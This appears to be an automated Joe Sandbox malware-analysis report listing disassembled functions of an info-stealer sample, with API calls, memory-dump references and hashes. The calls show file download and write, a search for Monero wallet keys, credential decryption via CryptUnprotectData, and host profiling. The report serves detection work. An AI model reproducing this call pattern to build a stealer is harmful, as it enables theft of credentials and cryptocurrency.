Function 003260A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00324839
Part of subcall function 003247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00324849

InternetOpenA.WININET(00340DF7,00000001,00000000,00000000,00000000), ref: 0032610F
StrCmpCA.SHLWAPI(?,00F2E9A0), ref: 00326147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0032618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 003261B3
InternetReadFile.WININET(?,?,00000400,?), ref: 003261DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0032620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00326249
InternetCloseHandle.WININET(?), ref: 00326253
InternetCloseHandle.WININET(00000000), ref: 00326260

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 6ac013079929faf8222b1c147d1ab8c3a6aaa26b407d0980dfeaaae7194b0118
Instruction ID: 405e9ca773e51702bfccf7f1c625d2cc1a39c4ca88ce95befae9a55b122fdf95
Opcode Fuzzy Hash: 6ac013079929faf8222b1c147d1ab8c3a6aaa26b407d0980dfeaaae7194b0118
Instruction Fuzzy Hash: E7514FB1900218ABDB21DF54DC86BEE77B8EF44701F108498F606BB1C1DBB46A89DF95

Function 00337B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

GetKeyboardLayoutList.USER32(00000000,00000000,003405AF), ref: 00337BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00337BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00337C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00337C62
LocalFree.KERNEL32(00000000), ref: 00337D22

Strings

/ , xrefs: 00337C7F

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 29e6aba988284635bc6bfada7e14755b0437ddbefac3295b769851bdfbb48000
Instruction ID: bcb8d806c4d65a581d152d67236be5e9f6cc8d6abd2e0eae8b9be187f79b7194
Opcode Fuzzy Hash: 29e6aba988284635bc6bfada7e14755b0437ddbefac3295b769851bdfbb48000
Instruction Fuzzy Hash: C4416C71940218ABCB25DB94DCC9BEEB7B8FF44700F204199E0096A180DB742F85CFA1

Function 0032E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00340D73), ref: 0032E4A2
StrCmpCA.SHLWAPI(?,003414F8), ref: 0032E4F2
StrCmpCA.SHLWAPI(?,003414FC), ref: 0032E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0032EBDF

Strings

\*.*, xrefs: 0032E44D

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 8ac679e27da57af268ff40c5ffec0b1ad0d518a8b7ee5db2463e5d1e858fcc1f
Instruction ID: b845e88067c7575adc1f018cd50b17d5ef159339af746ab96151352f8a0bde73
Opcode Fuzzy Hash: 8ac679e27da57af268ff40c5ffec0b1ad0d518a8b7ee5db2463e5d1e858fcc1f
Instruction Fuzzy Hash: A5125371910618AADB16FB60DCD6EED7378AF54300F4041A8F54AAE191EF346F89CF92

Function 00339600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0033961E
Process32First.KERNEL32(00340ACA,00000128), ref: 00339632
Process32Next.KERNEL32(00340ACA,00000128), ref: 00339647
StrCmpCA.SHLWAPI(?,00000000), ref: 0033965C
CloseHandle.KERNEL32(00340ACA), ref: 0033967A

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: c27fb3dbd7f7736729af00e848c03560a759f7388f3615e52630a8301567ee1d
Instruction ID: 8556ba097904d07849ed6cb2f348c2a996b2d2abdf51a17f5967b1fa639024ca
Opcode Fuzzy Hash: c27fb3dbd7f7736729af00e848c03560a759f7388f3615e52630a8301567ee1d
Instruction Fuzzy Hash: 6F011E75A01208EBCB15DFA9CD89BEDB7F8EB58310F104189E909A7250DBB4AB44DF51

Function 00337A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00F2E260,00000000,?,00340E10,00000000,?,00000000,00000000), ref: 00337A63
RtlAllocateHeap.NTDLL(00000000), ref: 00337A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00F2E260,00000000,?,00340E10,00000000,?,00000000,00000000,?), ref: 00337A7D
wsprintfA.USER32 ref: 00337AB7

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 1a45c6691eaae772dcf78ad1437dccb19e1613d8a0f38e8d37d449e09ce82338
Instruction ID: 48d137b320e62d306b2fec151bdcf6f30bd86d2e2fdc3b8e71455e82e33e307f
Opcode Fuzzy Hash: 1a45c6691eaae772dcf78ad1437dccb19e1613d8a0f38e8d37d449e09ce82338
Instruction Fuzzy Hash: AE1182B1D45218DBEB208B58DC45F99B778FB04711F104395E516A32D0C7745A44CF51

Function 00329B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00329B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00329BA3
LocalFree.KERNEL32(?), ref: 00329BD3

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 469325c18b65f158dfce8601725917c6123b8e9b0bbcf28c204314f32cbe7bf2
Instruction ID: e04f1ad917812a5ca456370c96a63e44ba9cabaac12cba4b4194d7fef5b925f4
Opcode Fuzzy Hash: 469325c18b65f158dfce8601725917c6123b8e9b0bbcf28c204314f32cbe7bf2
Instruction Fuzzy Hash: 0B11CCB8A00209DFDB05DF98D989AAE77B5FF88300F104569F915A7350D774AE14CFA1

Function 00337850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003211B7), ref: 00337880
RtlAllocateHeap.NTDLL(00000000), ref: 00337887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0033789F

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: a32a3ed079ca4fd79191d508a5a7c295fc1d148aea7fbc81e9c985285d05053e
Instruction ID: 75dbd34bf692144f110190ef19d5510b231cf3a32af494d2e615702567d3ccdf
Opcode Fuzzy Hash: a32a3ed079ca4fd79191d508a5a7c295fc1d148aea7fbc81e9c985285d05053e
Instruction Fuzzy Hash: 7FF04FB1944209ABC710DF98DD8ABAEFBB8EB08711F10025AFA05A3680C7B415048FA1

Function 00321160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0032116A
ExitProcess.KERNEL32 ref: 0032117E

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
